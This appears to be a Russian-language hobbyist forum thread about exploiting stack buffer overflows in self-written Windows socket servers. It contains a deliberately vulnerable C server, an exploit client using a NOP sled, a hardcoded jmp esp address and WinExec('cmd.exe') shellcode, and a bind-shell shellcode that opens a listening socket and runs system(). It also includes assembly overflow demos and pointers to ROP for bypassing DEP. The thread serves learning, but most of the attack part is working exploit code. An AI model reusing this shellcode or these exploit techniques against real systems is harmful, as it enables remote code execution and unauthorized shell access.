Всем доброго времени суток! Написал на Си простой веб-сервер. Логика его проста: после запуска просит ввести логин:пароль, кодирует введенные данные в base64 и ожидает соединения на порту 80. После соединения с клиентом посылает ему запрос на авторизацию. Если в браузере введены правильные данные, то показывает html-страницу с надписью 200 ОК, если данные не верны, то снова отправляет запрос авторизации. Если пользователь нажал кнопку отмены в браузере, то паказывает html-страницу 401 Unauthorized. Затем на fasm я написал клиент, который должен был переполнить буфер сервера и выполнить на нем свой код. Но не получается ;( Исходники сервера и клиента в аттаче. Вообщем помогите кто чем может, а так же мне будут интересны любые замечания и коментарии по моему коду, так как программирование мое хобби и хочется знать мнение профессионалов.
Где вопрос? Что не получается. Ты там так много посылаешь, что весь сервер затрешь нафиг. И уж никак твои коды не попадут на адрес возврата. Если я правильно твой ассемблер прочел - там будет jmp на 90909090 ( зачем так много NOP ты задал) и сервер вылетит.
Да вот дело в том, что он как раз и не вылетает Код (Text): char buf_zaprosa[1024] = ""; int Errors; Errors = recv(s1, buf_zaprosa, sizeof(buf_zaprosa),0); наверное этот буфер нельзя переполнить?Если можно, то как? Код (Text): char buf_zaprosa[1024] = ""; int Errors; Errors = recv(s1, buf_zaprosa, 2048,0); так переполниться и сервер вылетает, но только в том случае если я посылаю текст, если просто двоичные данные, то переполнения не происходит, а просто функция возвращает ошибку (-1 ошибка чтения данных) и сервер работает дальше как ни в чем не бывало. Я думаю это связано с тем, что по протоколу http можно пересылать только текст? пока я хотел только уронить сервер, но возникли проблемы, что написал выше
pashe4ka13 Да не, мне кажется тебе нужно не с recv() поработать, а с тем что recv() корректно примет и передаст в строковый буфер неправильной длины Вот посмотри такой примерчик. И ответь где в стеке должен начаться твой шелкод? Код (Text): .386 .model flat, stdcall option casemap: none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib _strspy PROTO :PTR BYTE .data source db '1111111111111111111111111111111',0; 33 - символа .code start: invoke _strspy , offset source invoke ExitProcess, 0 ;---------------------------------------------- _strspy proc uses esi edi, src:PTR BYTE LOCAL lBuffer[10]:BYTE mov esi, src lea edi, lBuffer cld wh: lodsb stosb test al, al jne wh ret _strspy endp ;---------------------------------------------- end start
Что бы не плодить темы позвольте задать подобный вопрос в данной ветке есть уязвимый сервер Код (Text): int main(int argc, char* argv[]) { WSADATA WSAData; if (WSAStartup(MAKEWORD(1,1), &WSAData)){ return -1; } SOCKET Sock0 = socket(AF_INET, SOCK_STREAM, 0); if (Sock0<0){ WSACleanup(); return -1; } sockaddr_in name; name.sin_family = AF_INET; name.sin_port = htons(666); name.sin_addr.s_addr = 0; if(bind(Sock0, (struct sockaddr FAR *) &name, sizeof(name))/*==SOCKET_ERROR*/){ closesocket(Sock0); WSACleanup(); return -1; } if (listen(Sock0, 0x100)){ closesocket(Sock0); WSACleanup(); return -1; } SOCKET AcceptSocket; printf( "Waiting for a client to connect...\n" ); while(1) { AcceptSocket = SOCKET_ERROR; while ( AcceptSocket == SOCKET_ERROR ) { AcceptSocket = accept( Sock0, NULL, NULL ); } Sock0 = AcceptSocket; break; } char Buff[1024]; char buffer[10]; int bytesSent; int bytesRecv = SOCKET_ERROR; char sendbuf[32] = "Server: Sending Data."; bytesRecv = recv( Sock0, Buff, sizeof(Buff), 0 ); strcpy(buffer, Buff); printf("%s",buffer); printf("%d",strlen(buffer)); Sleep(5000); bytesSent = send( Sock0, sendbuf, strlen(sendbuf), 0 ); return 0; } есть клиент Код (Text): unsigned char shell1[] = "\x8b\xec" //00402000 > 8BEC MOV EBP,ESP "\x68\x65\x78\x65\x20" //00402002 . 68 65786520 PUSH 20657865 "\x68\x63\x6d\x64\x2e" //00402007 . 68 636D642E PUSH 2E646D63 "\x8d\x45\xf8" //0040200C . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] "\x50" //0040200F . 50 PUSH EAX "\xb8\xAD\x23\x86\x7C" //00402010 . B8 8D15867C MOV EAX,kernel32.WinExec "\xff\xd0" //00402015 . FFD0 CALL EAX "\x33\xC0" //xor eax,eax "\x50" "\xb8\xFA\xCA\x81\x7C" "\xff\xd0"; char buf[144]; int bytesSent; int bytesRecv = SOCKET_ERROR; memset(buf,0x00,sizeof(buf)); memset(buf,0x90,28); *(long *)&buf[28]=(0x7C86467B); // Адрес jmp esp в kernel32.dll memcpy(buf+strlen(buf),&shell1,strlen(shell1)); bytesSent=send(my_sock,buf,strlen(buf),0); char recvbuf[1024] = ""; while( bytesRecv == SOCKET_ERROR ) { bytesRecv = recv( my_sock, recvbuf, 1024, 0 ); if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) { break; } if (bytesRecv < 0){ return; } } При таком раскладе все нормально происходит переполнение буфера при другом shellcode Код (Text): unsigned char bindcode[] = "\x83\xC4\xEC" //add esp,-0x14 "\x33\xC0" //xor eax,eax "\x50" //push eax "\x6A\x01" //push eax "\x6A\x02" //push eax "\xB8\x11\x42\xA9\x71" // mov eax, address of WSASocketA() "\xFF\xD0" // call eax "\x8B\xD8" // mov ebx,eax "\x33\xC0" //xor eax,eax "\x89\x45\xF4" //mov [ebp-0x0c],eax "\xB0\x02" // mov al,0x02 "\x66\x89\x45\xF0" // mov [ebp-0x10],ax "\x66\xC7\x45\xF2\x02\x9A" // вот здесь shell code обрывается типа ошибка чтения по адресу "\x6A\x10" // push 0x10 "\x8D\x55\xF0" //lea edx,[ebp-0x10] "\x52" //push edx "\x53" //push edx "\xB8\x80\x44\xA9\x71" // mov eax,address of bind() "\xFF\xD0" //call eax "\x6A\x10" //push 0x100 "\x53" //push edx "\xB8\xD3\x8C\xA9\x71" //mov eax, address of listen() "\xFF\xD0" //call eax "\x33\xC0" //xor eax,eax "\x50" //push eax "\x50" //push eax "\x53" //push edx "\xB8\x40\x10\xAA\x71" // mov eax,address of accept() "\xFF\xD0" //call eax "\x8B\xD8" //mov ebx,eax "\xBA\x63\xD3\x81\x7c" // mov edx,address of SetStdHandle() "\x53" "\x6A\xF6" "\xFF\xD2" "\x53" "\x6A\xF5" "\xFF\xD2" "\x53" "\x6A\xF4" "\xFF\xD2" "\xC7\x45\xFB\x41\x63\x6D\x64" "\x8D\x45\xFC" "\x50" "\xB8\xC7\x93\xC1\x77" // address of system() "\xFF\xD0"; Подозреваю из-за того что в сервере char buffer[10]; при попытке увеличить данный буфер хотя бы до char buffer[40]; не как не могу переполнить буфер Код (Text): char buf[1024]; int bytesSent; int bytesRecv = SOCKET_ERROR; memset(buf,0x00,sizeof(buf)); memset(buf,0x90,1024); bytesSent=send(my_sock,buf,strlen(buf),0); все отработало и ок. Может кто подскажет. За ранее спасибо
yurza И ты думаешь, что что-то понятно. НЕ вижу уязвимости и не понимаю твои фразы про "расклад". В каком call уязвимость? Для чего ты привел коды с bindcode? Где объяснение нормальное, а не пара непонятных фраз. Мы же не сидим рядом с тобой и не видели что ты там творил...
yurza Такое впечатление что ты взял где-то этот пример и суешь ему "в пасть" свой шел код. Начни все с начала. Начни с простого примера переполнения лок. буфера. Оно постепенно все проявится. Да и вопросы по ходу дела нормальные задавать будешь.
_sheva740 Не совсем понял твоего вопроса? Но я переполняю буфер как то так: Код (Text): format PE console 4.0 at 400000h include 'G:\fasm\INCLUDE\win32ax.inc' .data source db '1234567890123456',АДРЕС ВОЗВРАТА,\ МОЙ SELL-код,0 .code start: stdcall _strspy , source invoke ExitProcess, 0 ;---------------------------------------------- proc _strspy src local lBuffer[10]:BYTE mov esi, [src] lea edi, [lBuffer] cld wh: lodsb stosb test al, al jne wh ret endp ;---------------------------------------------- .end start Вот у меня только вопрос как мне узнать 'АДРЕС ВОЗВРАТА' ? Ведь он в зависимомти от загрузки секции данных будет всё время разный.Или я что-то не правильно понимаю и передача управления передается каким-то другим путем?
pashe4ka13 Вот тут http://tpoc.h16.ru/Articles/Over1.htm этот follower приводит простенький код, похожий на твой и рисунки с разжеванной "физикой процесса". Там imho объясняется доходчиво - как этот адрес получать.
Спасибо всем огромное за помощь, свой web-сервер я успешно взломал. Но получилось как,то не очень хорошо, в том плане, что пришлось подгонять задачу под её решение :-( Еще стало интересно есть ли техники обхода DEP и __security_init_cookie?
pashe4ka13 От DEP спасает ROP. Довольно хорошо о нем написано здесь: http://flyer.sis.smu.edu.sg/raid11.pdf
у тебя уязвимый буфер находится по стеку ниже основного буфера. Сначала идет запись в buffer 10 байт, потом он пишет сам в себя. собственно этого пространство ему вполне хватает и ни до какого рет он не дотягивается(поэтому нет повреждения памяти). Поменяй переменные местами. И используй буферы побольше, так реально будет проще.
читай corelan.be там маны кореланкодера начиная от простого bof и до описания rop-техник разжевано на реальных примерах переводы первых 3 частей на эксплойт.ин выложены